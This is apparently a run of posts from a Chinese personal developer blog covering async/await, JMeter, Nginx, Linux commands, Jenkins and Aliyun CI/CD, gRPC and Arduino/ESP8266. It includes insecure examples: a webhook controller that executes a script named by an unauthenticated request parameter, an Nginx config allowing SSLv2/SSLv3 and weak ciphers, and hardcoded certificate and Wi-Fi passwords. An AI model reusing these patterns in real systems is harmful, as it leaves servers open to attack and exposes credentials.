假设你有两个接口：接口 A 和接口 B，每个都需要较长时间才能返回数据（比如各需 10 秒）。

现在你需要在同一个 async 函数里依次请求它们，最后拿到两个数据。

来看这段代码：

async function fetchData() {
  const resA = await axios.get('/api/A'); // 耗时较长
  const resB = await axios.get('/api/B'); // 耗时较长
  return [resA, resB];
}

问题：这个函数的总执行时间是多长？

等于单个接口的时间？
还是两个接口时间之和？

答案是 两个接口时间之和（例如 10+10=20 秒）。

因为 await 会阻塞后续代码的执行：先等 A 完成，再开始请求 B，两个请求是串行的。

真正的“同时请求”：只需要最慢那个接口的时间

很多时候，接口 A 和接口 B 之间并没有依赖关系（B 不需要 A 的返回结果）。这种情况下，完全可以让它们并行发起，从而把总耗时压缩到 单个最慢接口的耗时。

并行写法一：先发起请求，后 `await`

async function fetchData() {
  const promiseA = axios.get('/api/A');  // 立即发起，不等待
  const promiseB = axios.get('/api/B');  // 立即发起，不等待
  const [resA, resB] = await Promise.all([promiseA, promiseB]);
  return [resA, resB];
}

并行写法二：直接 `Promise.all`

async function fetchData() {
  const [resA, resB] = await Promise.all([
    axios.get('/api/A'),
    axios.get('/api/B')
  ]);
  return [resA, resB];
}

两种写法效果完全一样：两个请求几乎同时发出，总耗时 ≈ max(耗时A, 耗时B)。

jQuery给编译后页面中vue变量赋值

Thu, 14 Apr 2022 00:00:00 +0000

要赋值的input框

<input tabindex="1" type="text" autocomplete="off" placeholder="AppID" name="appId" class="el-input__inner">

通过name获取对象赋值

$("input[name='appId']").val("24563574-04f5-4a44-848e-84ea81677e34");

赋值后没有效果，需要触发vue事件

$("input[name='appId']")[0].dispatchEvent(new Event('input'))

压力测试工具jmeter安装使用

Fri, 26 Nov 2021 00:00:00 +0000

一、安装jmeter

jmeter3.3以上要匹配8.0以上jdk，所以安装前需要先安装JDK。

JDK下载地址：

https://www.oracle.com/java/technologies/downloads/#java8-windows

安装后在CMD窗口输入java -version,出现版本号即安装成功。

jmeter下载地址：

http://jmeter.apache.org/download_jmeter.cgi

配置环境变量:

#添加JMETER_HOME，路径就是jmeter保存的位置
JMETER_HOME=D:\Program Files\apache-jmeter-5.4.1
#添加CLASSPATH
CLASSPATH=%JMETER_HOME%\lib\ext\ApacheJMeter_core.jar;%JMETER_HOME%\lib\jorphan.jar;
#修改path，在后面添加
%JMETER_HOME%\bin

cmd窗口输入jmeter运行或者双击bin目录下jmeter.bat

二、使用jmeter

1、新建线程组

在计划右键–新建线程组

如果默认没有计划，点击菜单种文件–新建计划

线程组控制面板:
线程数：您正在测试的用户数
加速时间：您希望允许线程组从0到N个用户的时间
循环计数：应该循环测试的次数
调度器：测试持续时间，启动延迟时间

2、新建http请求

在线程组右键–添加–取样器–http请求

post json 请求

json数据放到消息体数据中

自定义请求头，在HTTP请求右键–添加–配置原件–HTTP信息头管理器

3、查看结果

线程组–添加–监听器–[察看结果数 / 汇总报告 / 聚合报告]

Nginx的基本使用

Thu, 18 Nov 2021 00:00:00 +0000

什么是Nginx？

Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器，同时也提供了IMAP/POP3/SMTP服务。

反向代理

Nginx 根据接收到的请求的端口，域名，url，将请求转发给不同的机器，不同的端口（或直接返回结果），然后将返回的数据返回给客户端。

安装Nginx

#如果缺少依赖，先安装依赖
yum -y install gcc gcc-c++ openssl openssl-devel
#下载
wget http://nginx.org/download/nginx-1.20.1.tar.gz
#进入服务安装包目录，这里放到了home/server
cd /home/server/
#解压tar包
tar -zxvf nginx-1.20.1.tar.gz
#进入解压nginx目录
cd nginx-1.20.1
#执行configure进行配置,这里配置可以根据自己项目需要进行自定义配置
./configure --prefix=/usr/local/nginx  --with-http_ssl_module
#执行安装
make && make install

Nginx配置参数中文详细说明

#定义Nginx运行的用户和用户组
user www www;
#
#nginx进程数,建议设置为等于CPU总核心数.
worker_processes 8;
#
#全局错误日志定义类型,[ debug | info | notice | warn | error | crit ]
error_log /var/log/nginx/error.log info;
#
#进程文件
pid /var/run/nginx.pid;
#
#一个nginx进程打开的最多文件描述符数目,理论值应该是最多打开文件数（系统的值ulimit -n）与nginx进程数相除,但是nginx分配请求并不均匀,所以建议与ulimit -n的值保持一致.
worker_rlimit_nofile 65535;
#
#工作模式与连接数上限
events
{
    #参考事件模型,use [ kqueue | rtsig | epoll | /dev/poll | select | poll ]; epoll模型是Linux 2.6以上版本内核中的高性能网络I/O模型,如果跑在FreeBSD上面,就用kqueue模型.
    use epoll;
    #单个进程最大连接数（最大连接数=连接数*进程数）
    worker_connections 65535;
}
#
#设定http服务器
http
{
    include mime.types; #文件扩展名与文件类型映射表
    default_type application/octet-stream; #默认文件类型
    #charset utf-8; #默认编码
    server_names_hash_bucket_size 128; #服务器名字的hash表大小
    client_header_buffer_size 32k; #上传文件大小限制
    large_client_header_buffers 4 64k; #设定请求缓
    client_max_body_size 8m; #设定请求缓
    
    # 开启目录列表访问,合适下载服务器,默认关闭.
    autoindex on;                   # 显示目录
    autoindex_exact_size on;        # 显示文件大小 默认为on,显示出文件的确切大小,单位是bytes 改为off后,显示出文件的大概大小,单位是kB或者MB或者GB
    autoindex_localtime on;         # 显示文件时间 默认为off,显示的文件时间为GMT时间 改为on后,显示的文件时间为文件的服务器时间
    
    sendfile on; # 开启高效文件传输模式,sendfile指令指定nginx是否调用sendfile函数来输出文件,对于普通应用设为 on,如果用来进行下载等应用磁盘IO重负载应用,可设置为off,以平衡磁盘与网络I/O处理速度,降低系统的负载.注意：如果图片显示不正常把这个改成off.
    tcp_nopush on; # 防止网络阻塞
    tcp_nodelay on; # 防止网络阻塞
    
    keepalive_timeout 120; # (单位s)设置客户端连接保持活动的超时时间,在超过这个时间后服务器会关闭该链接
    
    # FastCGI相关参数是为了改善网站的性能：减少资源占用,提高访问速度.下面参数看字面意思都能理解.
    fastcgi_connect_timeout 300;
    fastcgi_send_timeout 300;
    fastcgi_read_timeout 300;
    fastcgi_buffer_size 64k;
    fastcgi_buffers 4 64k;
    fastcgi_busy_buffers_size 128k;
    fastcgi_temp_file_write_size 128k;
    
    # gzip模块设置
    gzip on; #开启gzip压缩输出
    gzip_min_length 1k; #允许压缩的页面的最小字节数,页面字节数从header偷得content-length中获取.默认是0,不管页面多大都进行压缩.建议设置成大于1k的字节数,小于1k可能会越压越大
    gzip_buffers 4 16k; #表示申请4个单位为16k的内存作为压缩结果流缓存,默认值是申请与原始数据大小相同的内存空间来存储gzip压缩结果
    gzip_http_version 1.1; #压缩版本（默认1.1,目前大部分浏览器已经支持gzip解压.前端如果是squid2.5请使用1.0）
    gzip_comp_level 2; #压缩等级.1压缩比最小,处理速度快.9压缩比最大,比较消耗cpu资源,处理速度最慢,但是因为压缩比最大,所以包最小,传输速度快
    gzip_types text/plain application/x-javascript text/css application/xml;
    #压缩类型,默认就已经包含text/html,所以下面就不用再写了,写上去也不会有问题,但是会有一个warn.
    gzip_vary on;#选项可以让前端的缓存服务器缓存经过gzip压缩的页面.例如:用squid缓存经过nginx压缩的数据
    
    #开启限制IP连接数的时候需要使用
    #limit_zone crawler $binary_remote_addr 10m;
    
    ##upstream的负载均衡,四种调度算法(下例主讲)##
    
    #虚拟主机的配置
    server
    {
        # 监听端口
        listen 80;
        # 域名可以有多个,用空格隔开
        server_name blog.raikay.cn;
        # HTTP 自动跳转 HTTPS
        rewrite ^(.*) https://$server_name$1 permanent;
    }
    
    server
    {
        # 监听端口 HTTPS
        listen 443 ssl;
        server_name blog.raikay.cn;
        
        # 配置域名证书
        ssl_certificate         ssl/fullchain.cer;
        ssl_certificate_key     ssl/blog.raikay.cn.key;
        ssl_session_cache    shared:SSL:1m;
        ssl_session_timeout  5m;
        ssl_protocols SSLv2 SSLv3 TLSv1;
        ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
        ssl_prefer_server_ciphers  on;
    
        index index.html index.htm index.php;
        root /data/www/;
        location ~ .*\.(php|php5)?$
        {
            fastcgi_pass 127.0.0.1:9000;
            fastcgi_index index.php;
            include fastcgi.conf;
        }
        
        # 配置地址拦截转发，解决跨域验证问题
        location /oauth/{
            proxy_pass https://localhost:13580/oauth/;
            proxy_set_header HOST $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }
        
        # 图片缓存时间设置
        location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
            expires 10d;
        }
        
        # JS和CSS缓存时间设置
        location ~ .*\.(js|css)?$ {
            expires 1h;
        }

        # 日志格式设定
        log_format access '$remote_addr - $remote_user [$time_local] "$request" '
        '$status $body_bytes_sent "$http_referer" '
        '"$http_user_agent" $http_x_forwarded_for';
        # 定义本虚拟主机的访问日志
        access_log /var/log/nginx/access.log access;
        
        # 设定查看Nginx状态的地址.StubStatus模块能够获取Nginx自上次启动以来的工作状态，此模块非核心模块，需要在Nginx编译安装时手工指定才能使用
        location /NginxStatus {
            stub_status on;
            access_log on;
            auth_basic "NginxStatus";
            auth_basic_user_file conf/htpasswd;
            #htpasswd文件的内容可以用apache提供的htpasswd工具来产生.
        }
    }
}

负载均衡配置

events
{
    use epoll;
    worker_connections 65535;
}
http
{
    ##upstream的负载均衡,四种调度算法##
    #调度算法1:轮询.每个请求按时间顺序逐一分配到不同的后端服务器,如果后端某台服务器宕机,故障系统被自动剔除,使用户访问不受影响
    upstream webhost {
        server 192.168.0.5:6666 ;
        server 192.168.0.7:6666 ;
    }
    #调度算法2:weight(权重).可以根据机器配置定义权重.权重越高被分配到的几率越大
    upstream webhost {
        server 192.168.0.5:6666 weight=2;
        server 192.168.0.7:6666 weight=3;
    }
    #调度算法3:ip_hash. 每个请求按访问IP的hash结果分配,这样来自同一个IP的访客固定访问一个后端服务器,有效解决了动态网页存在的session共享问题
    upstream webhost {
        ip_hash;
        server 192.168.0.5:6666 ;
        server 192.168.0.7:6666 ;
    }
    #调度算法4:url_hash(需安装第三方插件).此方法按访问url的hash结果来分配请求,使每个url定向到同一个后端服务器,可以进一步提高后端缓存服务器的效率.Nginx本身是不支持url_hash的,如果需要使用这种调度算法,必须安装Nginx 的hash软件包
    upstream webhost {
        server 192.168.0.5:6666 ;
        server 192.168.0.7:6666 ;
        hash $request_uri;
    }
    #调度算法5:fair(需安装第三方插件).这是比上面两个更加智能的负载均衡算法.此种算法可以依据页面大小和加载时间长短智能地进行负载均衡,也就是根据后端服务器的响应时间来分配请求,响应时间短的优先分配.Nginx本身是不支持fair的,如果需要使用这种调度算法,必须下载Nginx的upstream_fair模块
    #
    #虚拟主机的配置(采用调度算法3:ip_hash)
    server
    {
        listen  80;
        server_name  mongo.demo.com;
        #对 "/" 启用反向代理
        location / {
            proxy_pass http://webhost;
            proxy_redirect off;
            proxy_set_header X-Real-IP $remote_addr;
            #后端的Web服务器可以通过X-Forwarded-For获取用户真实IP
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            #以下是一些反向代理的配置,可选.
            proxy_set_header Host $host;
            client_max_body_size 10m; #允许客户端请求的最大单文件字节数
            client_body_buffer_size 128k; #缓冲区代理缓冲用户端请求的最大字节数,
            proxy_connect_timeout 90; #nginx跟后端服务器连接超时时间(代理连接超时)
            proxy_send_timeout 90; #后端服务器数据回传时间(代理发送超时)
            proxy_read_timeout 90; #连接成功后,后端服务器响应时间(代理接收超时)
            proxy_buffer_size 4k; #设置代理服务器（nginx）保存用户头信息的缓冲区大小
            proxy_buffers 4 32k; #proxy_buffers缓冲区,网页平均在32k以下的设置
            proxy_busy_buffers_size 64k; #高负荷下缓冲大小（proxy_buffers*2）
            proxy_temp_file_write_size 64k;
            #设定缓存文件夹大小,大于这个值,将从upstream服务器传
        }
    }
}

301跳转

server{
    listen 80;
    server_name raikay.cn;
    rewrite ^/(.*) http://www.raikay.cn/$1 permanent;
}

添加404页面

server{
　　error_page 404 /404.html;
}

禁止直接IP访问

server{
　　listen 80 default;
　　server_name _;
　　return 403;
}

设置白名单

# allow：允许访问 、deny：禁止
server
{
    allow 100.110.15.16;
    allow 100.110.15.17;
    allow 100.110.15.18;
    allow 127.0.0.1;
    deny all;
}

常用命令

nginx -s reopen #重启Nginx
nginx -s reload #重新加载Nginx配置文件，然后以优雅的方式重启Nginx
nginx -s stop #强制停止Nginx服务
nginx -s quit #优雅地停止Nginx服务（即处理完所有请求后再停止服务）
nginx -?,-h #打开帮助信息
nginx -v #显示版本信息并退出
nginx -V #显示版本和配置选项信息，然后退出
nginx -t #检测配置文件是否有语法错误，然后退出
nginx -T #检测配置文件是否有语法错误，转储并退出
nginx -q #在检测配置文件期间屏蔽非错误信息
nginx -p prefix #设置前缀路径(默认是:/usr/share/nginx/)nginx -c filename #设置配置文件(默认是:/etc/nginx/nginx.conf)
nginx -g directives #设置配置文件外的全局指令
killall nginx #杀死所有nginx进程

高可用

一台Nginx服务器支持不住高并发时，部署多台Nginx服务器，并且每台Nginx服务器都部署keepalived，设置同一个虚IP（VIP），访问这个VIP（域名解析时解析到VIP）时会漂移到其中一台Nginx服务器，实现负载均衡。

linux系统常用基础命令

Mon, 15 Nov 2021 00:00:00 +0000

目录操作

#当前目录
pwd

# 创建目录
mkdir $HOME/testFolder

#切换目录
cd $HOME/testFolder

#切换到上一级目录
cd ../

# 移动
mv $HOME/testFolder /var/tmp

#删除
rm -rf /var/tmp/testFolder

#查看目录下的文件
# /etc 目录默认是 Unix 系统的软件配置文件存放位置
ls /etc
#竖着显示查询结果
ls -l /

#查看所有目录包括子目录（效果很酷）
ls -R /

文件操作

#创建
touch ~/testFile

#复制
cp ~/testFile ~/testNewFile

#删除
rm ~/testFile

#查找名称包含nginx的.conf文件
find / -name '*.conf' |grep nginx

#解压：
# tar.gz  tar  tgz
tar xzvf FileName.tar.gz

#压缩：
tar czvf FileName.tar.gz DirName

查看文件

#一、从第3000行开始，显示1000行。即显示3000~3999行
cat filename | tail -n +3000 | head -n 1000

#二、显示1000行到3000行
cat filename| head -n 3000 | tail -n +1000

#-----------------------------
#注意两种方法的顺序
# 分解：
#    tail -n 1000：显示最后1000行
#    tail -n +1000：从1000行开始显示，显示1000行以后的
#    head -n 1000：显示前面1000行
#--------------------------------

#三、用sed命令
sed -n '5,10p' filename 这样就可以只查看文件的第5行到第10行。


#过滤出 /etc/passwd 文件中包含 root 的记录
grep 'root' /etc/passwd

#递归地过滤出 /var/log/ 目录中包含 linux 的记录
grep -r 'linux' /var/log/

#重定向
#可以使用 > 或 < 将命令的输出到一个文件中
echo 'Hello World' > ~/test.txt

#复杂查询
https://blog.51cto.com/xuqq999/774714

远程复制文件

#整个文件夹
scp -r /home/administrator/test/ root@192.168.1.100:/root/

# 单个文件
scp /home/administrator/Desktop/old/driver/test/test.txt root@192.168.1.100:/root/

#下载到本地
scp -r root@192.168.62.10:/root/ /home/administrator/Desktop/new/

系统综合

#重启
reboot

#下面三个是一样的，都是当前用户主目录
cd ~
cd $HOME
cd /home/UserName

#查看发行版
cat /etc/os-release
find /etc/*-release

#查看系统版本
cat /proc/version

#查看系统信息
uname -a

#查看正在运行的进程
ps -ef | grep java

#实时查看服务器性能
top

#对 blog.raikay.cn 发送 4 个 ping 包, 检查与其是否联通
ping -c 4 blog.raikay.cn

#过滤得到当前系统中的 ssh 进程信息
ps -aux | grep 'ssh'

# 权限
chmod -R 777 权限

服务管理

#Centos7.5的服务管理是systemctl
systemctl start httpd.service      #启动，不加 .server也可以
systemctl stop httpd.service    #停止
systemctl status httpd.service     #查看状态
systemctl restart httpd.service    #重启
systemctl enable httpd.service     #开机启动
Systemctl enable  serviceName    #开启服务的开机自启动
systemctl disable firewalld.service  #禁止firewall开机启动
Systemctl disable serviceName  #关闭服务的开机自启动

#ububtu启动服务
#apache2
/etc/init.d/apache2 start #restart stop

#ssh
/etc/init.d/ssh start #restart stop

网络

#netstat 命令
#netstat 命令用于显示各种网络相关信息，如网络连接, 路由表, 接口状态等等

#列出所有处于监听状态的tcp端口
netstat -lt

#查看所有的端口信息, 包括 PID 和进程名称
netstat -tulpn

检查网卡

阿里云流水线云效Flow 实现持续集成、持续部署（CI/CD）

Wed, 22 Sep 2021 00:00:00 +0000

新建流水线

选择对应语言，新建流水线

选择代码源

这个代码我托管在云效自带的Codeup

代码结构

设置代码源触发

开启代码源触发，并添加Webhook,Codeup会带动添加，如果是码云、github等其他托管平台，需要手动将下面webhook地址添加到代码托管平台对应的Webhook

配置构建

配置部署

新建主机，部署项目的服务器，如果是集群可以添加多台

如果账号内有阿里云ECS直接选择即可，否则选自有服务器，复制脚本在目标服务器执行

添加部署脚本和变量

脚本

$image变量是配置的镜像仓库地址，在上游构建时，会将构建好的docker镜像推送到这个地址

echo $image
#停止正在运行的容器
docker stop apidemo
#删除容器
docker rm apidemo
#拉取容器
docker pull $image
#运行新容器
docker run -d -p 1080:80 --name  apidemo $image

完成自动构建、部署

提交代码触发流水线

云效2020文档地址：https://help.aliyun.com/product/150040.html
云效Flow地址：https://flow.aliyun.com/
云效地址：https://devops.aliyun.com/

jenkins实现dotnet项目持续集成、持续部署（CI/CD）

Tue, 21 Sep 2021 00:00:00 +0000

添加节点

这个jenkins是用docker安装的，我们要操作宿主机构建项目，不是这个容器，所以要把这个容器本身的节点停止，添加宿主机节点

断开jenkins容器节点 Master

也可以使用标签限制

新建节点

添加宿主机连接信息

添加宿主机认证用户

生成ssh公钥和私钥

执行：ssh-keygen 一路回车

进入.ssh文件夹：

cd .ssh/

id_rsa：私钥
id_rsa.pub：公钥

把公钥写到authorized_keys文件：

cat id_rsa.pub > authorized_keys

复制私钥到jenkins

cat id_rsa

添加触发器

token可以区分项目

把地址复制到代码托管平台，设置触发

添加构建脚本

Jenkins构建完成会自动关闭进程及其子进程，造成nohup 无效，需要在命令内加参数BUILD_ID=DONTKILLME

publish.sh：

#!/bin/bash
#如果8081被占用杀掉进程
kill -9 $(lsof -i:8081 -t)
cd /home/web/web-demo/
#拉代码
git pull
#发布代码到publish目录
dotnet publish -o publish
cd publish/
#后台启用项目，端口8081
nohup dotnet WebDemo.dll --urls http://0.0.0.0:8081 &

构建记录

使用Docker在CentOS系统安装Jenkins

Mon, 20 Sep 2021 00:00:00 +0000

下载Jenkins镜像

docker pull jenkins/jenkins:lts #最新版

创建映射目录

容器映射此目录以持久化数据

mkdir /data/jenkins_home/

修改用户组

docker容器中jenkins用户和用户组id为1000，需要修改后目录才能映射成功

chown -R 1000:1000 /data/jenkins_home

启动Jenkins容器

docker run -d --name jenkins -p 80:8080 -v /data/jenkins_home:/var/jenkins_home jenkins/jenkins:lts;

#备注：
#-d 启动在后台
#--name 容器名字
#-p 端口映射（80：宿主主机端口，8080：容器内部端口）
#-v 数据卷挂载映射（/data/jenkins_home：宿主主机目录，另外一个即是容器目录）
#enkins/jenkins:lts Jenkins镜像（最新版）

访问Jenkins

地址解析的域名

http://jenkins.raikay.cn/

根据提示的路径找到初始密码

#进入容器
docker exec -it jenkins bash
#查看密码
cat /var/jenkins_home/secrets/initialAdminPassword

安装推荐的插件

创建管理员

安装已完成

扩展

设置时区

方法一：在【系统管理】-【脚本命令行】里运行

System.setProperty('org.apache.commons.jelly.tags.fmt.timeZone', 'Asia/Shanghai')

方法二：

通过docker改容器时区

docker run ... -e JAVA_OPTS=-Duser.timezone=Asia/Shanghai

添加windows节点

dotnet项目执行shell脚本实现简单的自动化部署

Sat, 18 Sep 2021 00:00:00 +0000

不要k8s、不要docker、不要Jenkins，只要一个部署脚本，只是一个小项目单台服务器，实现提交代码自动执行脚本，拉代码构建部署项目。

创建一个web api 项目，作为webhook,实现接收web请求后执行shell脚本

项目代码：

using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
using System;
using System.Diagnostics;

namespace ShellHandler.Controllers
{
    [ApiController]
    [Route("[controller]")]
    public class HandlerController : ControllerBase
    {
        private readonly ILogger<HandlerController> _logger;

        public HandlerController(ILogger<HandlerController> logger)
        {
            _logger = logger;
        }

        [HttpPost]
        public string Execute(string fileName)
        {
            try
            {
                var processStartInfo = new ProcessStartInfo($"./{fileName}") { RedirectStandardOutput = true };
                var process = Process.Start(processStartInfo);
                if (process == null)
                {
                    Console.WriteLine("Can not run shell .");
                }
                else
                {
                    using (var sr = process.StandardOutput)
                    {
                        while (!sr.EndOfStream)
                        {
                            var str = sr.ReadLine();
                            Console.WriteLine(str);
                        }

                        if (!process.HasExited)
                        {
                            process.Kill();
                        }
                    }
                }
                return "ok";

            }
            catch (Exception ex)
            {
                _logger.LogInformation(ex.Message);
                return ex.Message;
            }
        }
    }
}

在服务器部署当前项目

点亮arduino uno r3板载 / 外接led灯

Wed, 25 Aug 2021 00:00:00 +0000

1、准备工作与开发板选择

2、选择端口

3、代码：

// the setup function runs once when you press reset or power the board
void setup() {
  // initialize digital pin LED_BUILTIN （13） as an output.
  pinMode(LED_BUILTIN, OUTPUT);
}

// the loop function runs over and over again forever
void loop() {
  digitalWrite(LED_BUILTIN, HIGH);   // turn the LED on (HIGH is the voltage level)
  delay(1000);                       // wait for a second
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(1000);                       // wait for a second
}

4、代码上传与验证

点击上传按钮，等待编译完成后，Arduino开发板上的板载LED灯将开始按程序设定的1秒间隔闪烁。这是最基础的Arduino入门实验，验证了开发环境配置正确且开发板工作正常。

dotnet core 使用gRPC服务

Tue, 24 Aug 2021 00:00:00 +0000

什么是gRPC？

在聊聊什么是gRPC前，我们先来聊聊什么是RPC。

RPC，全称Remote Procedure Call，中文译为远程过程调用。通俗地讲，使用RPC进行通信，调用远程函数就像调用本地函数一样，RPC底层会做好数据的序列化与传输，从而能使我们更轻松地创建分布式应用和服务。

请求信息使用 Protobuf 进行对象序列化压缩（IDL）

而gRPC，则是RPC的一种，它是免费且开源的，由谷歌出品。使用gRPC，我们只需要定义好每个API的Request和Response，剩下的gRPC这个框架会帮我们自动搞定。

使用gRPC

一、gRPC服务端

引用NuGet包

Grpc.AspNetCore

Startup.cs 中 ConfigureServices 函数配置gRPC

public void ConfigureServices(IServiceCollection services)
{
    services.AddRazorPages();
    //配置grpc
    services.AddGrpc();
}

Configure 函数映射服务grpc类

public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
        if (env.IsDevelopment())
        {
            app.UseDeveloperExceptionPage();
        }
        else
        {
            app.UseExceptionHandler("/Error");
            app.UseHsts();
        }

        app.UseHttpsRedirection();
        app.UseStaticFiles();

        app.UseRouting();

        app.UseAuthorization();
        
		//映射grpc服务类
        app.UseEndpoints(endpoints =>
        {
            endpoints.MapRazorPages();
            endpoints.MapGrpcService<GreeterService>();
            endpoints.MapGrpcService<LuCatService>();
        });
}

Program.cs 添加证书、设置监听端口

public static IHostBuilder CreateHostBuilder(string[] args) =>
    Host.CreateDefaultBuilder(args)
        .ConfigureWebHostDefaults(webBuilder =>
        {
            var certificate = new X509Certificate2("https/6069857_game.raikay.cn.pfx", "aE14DALS");
            webBuilder.UseKestrel(options =>
            {
                options.AddServerHeader = false;
                options.Listen(IPAddress.Any, 443, listenOptions =>
                {
                    listenOptions.UseHttps(certificate);
                });

            }).UseContentRoot(Directory.GetCurrentDirectory())
                .UseStartup<Startup>()
                .UseUrls("https://*:443");
        });

appsettings.json配置http2

Microsoft Edge浏览器怎么导入密码

Tue, 22 Jun 2021 00:00:00 +0000

Edge浏览器在清理缓存时，如果勾选密码一项，清除的不只是本地密码，同时会删除已同步的云端密码，而且其他登录设备也会同步删除。不过其他设备会有延迟，可以及时导出密码，文件格式是csv表格文件，Edge浏览器不支持直接导入密码，只能从其他浏览器同步数据。好在Google浏览器有导入密码功能，可以先导入到Google浏览器，然后从Google浏览器导入Edge。

一、Google浏览器导入密码

谷歌浏览器导入密码也不是直接就可以看到，应该是隐藏功能，需要下面这样操作。

1、找到谷歌浏览器快捷图标【右键】–>【属性】

2、在【目标】后面输入 --enable-features=PasswordImport （前面有一个空格不要忽略）

3、已管理员权限打开浏览器，【设置】–> 【密码】，点击三个点即可导入，如果没有，重新已管理员权限打开浏览器

二、从Google浏览器导入Edge浏览器

jQuery UI 自动完成组件（Autocomplete）使用

Tue, 08 Jun 2021 00:00:00 +0000

JS：

var shopVal="";
var shopText = "";

$(function () {
    $("#tags").autocomplete({
        source: function ( request, response ) {
            $.ajax({
                url: "shop/list", //请求数据网址
                data: {
                    AppName: request.term,
                    appId: window.parent.appId
                    //dataType: "jsonp", //也可以是jsonp形式
                    //text: $("#tags").val() // 等同于 request.term
                },
                success: function (data) {
                    //console.log(data);
                    response(data);
                    
                }
            });
        },
        minLength: 1,//输入多少字的时候触发请求事件
        select: function (e, ui) {
            //选后后事件
            shopVal = ui.item.id;
            shopText = ui.item.value;
            //alert("value:" + ui.item.value + "lable:" + ui.item.label + " id:" + ui.item.id);
        }
    });
});

HTML：

<div class="ui-widget">
    <label for="tags">店铺名称：</label>
    <input id="tags" />
</div>

返回数据格式：

[
	{
		"id": "10da4de5-3661-4718-81bf-be8dfdd85bcd",
		"lable": "小豆包丁一般生产企业业态测试门店（北京）集团",
		"value": "小豆包丁一般生产企业业态测试门店（北京）集团"
	},
	{
		"id": "303b62d9-3488-47f2-ada7-e5b2db88d095",
		"lable": "小白龙",
		"value": "小白龙"
	},
	{
		"id": "bb3af0f0-aa3f-4320-9001-1d921a977836",
		"lable": "智慧餐饮小店",
		"value": "智慧餐饮小店"
	},
	{
		"id": "dde4a0e9-a5c8-48b7-be36-2be726279910",
		"lable": "小菜门店（电商）",
		"value": "小菜门店（电商）"
	},
	{
		"id": "da83acfc-dcd5-4f79-b380-1184e0721b14",
		"lable": "千寻小店（中央厨房）",
		"value": "千寻小店（中央厨房）"
	}
]

图例：

DotNet平台中 IL / CTS / CLS / CLR 都是什么？

Fri, 12 Mar 2021 00:00:00 +0000

IL(MSIL):

可以执行的二进制代码(托管代码)

CTS:

.Net平台通用数据类型(Common Type System)

CLS：

.Net平台通用语言规范（语法）(Common Language Specification )

CLR:

公共语言运行时( Common Language Runtime )

JIT:

即时编译器(Just in time)

关系

各个语言（VB.Net、F#）使用自己的JIT按照CTS、CLS编译成可以在CLR上运行的IL

SOA架构和微服务架构的区别

Fri, 12 Mar 2021 00:00:00 +0000

SOA:

SOA（Service Oriented Architecture）“面向服务的架构”，他是一种设计方法，其中包含多个服务，服务之间通过相互依赖最终提供一系列的功能。一个服务通常以独立的形式存在与操作系统进程中。各个服务之间通过网络调用。

微服务架构:

其实和 SOA 架构类似,微服务是在 SOA 上做的升华，微服务架构强调的一个重点是 “业务需要彻底的组件化和服务化”，原有的单个业务系统会 拆分为多个可以独立开发、设计、运行的小应用。这些小应用之间通过服务完成交互和集成。（去中心化）

微服务架构 = 80%的SOA服务架构思想 + 100%的组件化架构思想 + 80%的领域建模思想

主要区别：

功能	SOA	微服务
组件大小	大块业务逻辑	单独任务或小块业务逻辑
耦合	通常松耦合	总是松耦合
公司架构	任何类型	小型、专注于功能交叉团队
管理	着重中央管理	着重分散管理
目标	确保应用能够交互操作	执行新功能、快速拓展开发团队

摘自：

https://blog.csdn.net/zpoison/article/details/80729052

控制反转（IoC）与依赖注入（DI）- 很容易明白的那种

Fri, 12 Mar 2021 00:00:00 +0000

一、控制反转

正常控制权是由调用方掌握，控制反转将控制权交给了容器，在运行时由容器决定具体的实现。

二、依赖注入

依赖注入是控制反转的一种实现，调用某个类是对这个类（被调用类）的依赖，正常是直接实例化（被调用类），而依赖注入，是通过构造函数等方式由容器注入到调用方

三、控制反转和依赖注入的关系

控制反转是一种思想
依赖注入是一种设计模式

IoC框架使用依赖注入作为实现控制反转的方式，但是控制反转还有其他的实现方式，例如说依赖查找，所以不能将控制反转和依赖注入等同。

使用NTP协议获取时间(连接wifi) - Arduino开发ESP8266(NodeMcu)学习记录

Mon, 01 Feb 2021 00:00:00 +0000

所需硬件

ESP8266 开发板（NodeMcu） x1

第三方库

ESP8266WiFi

NTP介绍

网络时间协议，英文名称：Network Time Protocol（NTP）是用来使计算机时间同步化的一种协议，它可以使计算机对其服务器或时钟源（如石英钟，GPS等等)做同步化，它可以提供高精准度的时间校正（LAN上与标准间差小于1毫秒，WAN上几十毫秒），且可介由加密确认的方式来防止恶毒的协议攻击。NTP的目的是在无序的Internet环境中提供精确和健壮的时间服务。 ——【百度百科】

代码：

/**
  作者: Raikay (raikay.cn)
  时间: 2021/01/30
  说明: 通过NTP服务器获取网络时间（连接wifi）
**/

#include <ESP8266WiFi.h> //wifi库
#include <time.h> //时间库

const char* ssid = "Ziroom211";  //wifi账号
const char* password = "40010022222";  //wifi密码

const char* NTP_SERVER = "ntp.aliyun.com";  //NTP服务器

#define TZ_INFO "UTC-8"  //时区

void setup() {
  Serial.begin(115200);
  Serial.setDebugOutput(true); //将串口设为调试输出模式

  WiFi.disconnect();//断开之前的连接
  WiFi.mode(WIFI_STA);  //设为STA模式
  WiFi.begin(ssid, password);//连接wifi
  Serial.println("\nConnecting to WiFi");

  //连接失败
  while (WiFi.status() != WL_CONNECTED) {
    Serial.print(".");
    delay(1000);
  }

  //设置时区、NTP服务器地址
  configTime(TZ_INFO, NTP_SERVER);
  Serial.println("\nWaiting for time");
  while (!time(nullptr)) {
    Serial.print(".");
    delay(1000);
  }
  Serial.println("");
}

//循环
void loop() {
  time_t now = time(nullptr); //获取当前时间 时间戳

  struct tm *p = localtime(&now); //转换为tm结构

  //格式化输入
  Serial.print(String(1900 + p->tm_year) + "年" + String(1 + p->tm_mon) + "月" + String(p->tm_mday) + "日");
  Serial.println(" " + String(p->tm_hour) + ":" + String(p->tm_min) + ":" + String(p->tm_sec));
  delay(1000);
}

Arduino-Ide安装第三方库

Thu, 21 Jan 2021 00:00:00 +0000

用温湿度传感器DHT11/DHT22库DHT为例

方法一

